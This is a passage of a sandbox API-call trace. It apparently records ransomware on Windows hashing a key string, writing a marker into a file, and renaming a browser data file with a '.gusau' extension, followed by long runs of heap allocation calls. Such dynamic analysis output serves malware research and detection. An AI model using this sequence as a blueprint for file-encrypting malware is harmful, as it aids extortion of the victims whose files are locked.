nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x8000, lpOverlapped=0x0) returned 1 [0119.220] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.220] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.220] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.220] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0119.221] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.221] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.221] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.221] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.221] GetLastError () returned 0x0 [0119.221] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.221] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0119.222] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.222] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.222] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.222] CloseHandle (hObject=0x610) returned 1 [0119.223] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e108 [0119.223] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8d0) returned 0x39f4ef8 [0119.223] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0119.223] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.gusau")) returned 1 [0119.224] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.224] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.225] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ffb8 | out: hHeap=0xd10000) returned 1 [0119.225] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UV0DUWVB", cAlternateFileName="")) returned 1 [0119.225] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e108 [0119.225] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e1d0 [0119.225] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa8) returned 0x39326e8 [0119.225] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39743a8 [0119.225] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a438 [0119.225] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e4f0 [0119.225] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e5b8 [0119.225] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.225] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.225] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e428 | out: hHeap=0xd10000) returned 1 [0119.225] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e360 | out: hHeap=0xd10000) returned 1 [0119.225] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941478 | out: hHeap=0xd10000) returned 1 [0119.225] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e360 [0119.225] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e1d0 | out: hHeap=0xd10000) returned 1 [0119.225] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0119.225] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 1 [0119.225] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e108 [0119.225] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e1d0 [0119.225] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e428 [0119.226] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e1d0 | out: hHeap=0xd10000) returned 1 [0119.226] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0119.226] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 0 [0119.226] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.226] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0119.226] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39301f8 | out: hHeap=0xd10000) returned 1 [0119.226] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.226] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x39301f8 [0119.226] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.226] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.226] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.226] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.226] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.226] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.226] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.226] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.226] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.226] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.226] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.226] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.226] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.226] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.226] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.226] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.226] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.226] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.227] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.227] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.228] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.228] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.229] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.229] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.230] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.230] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.231] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.231] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 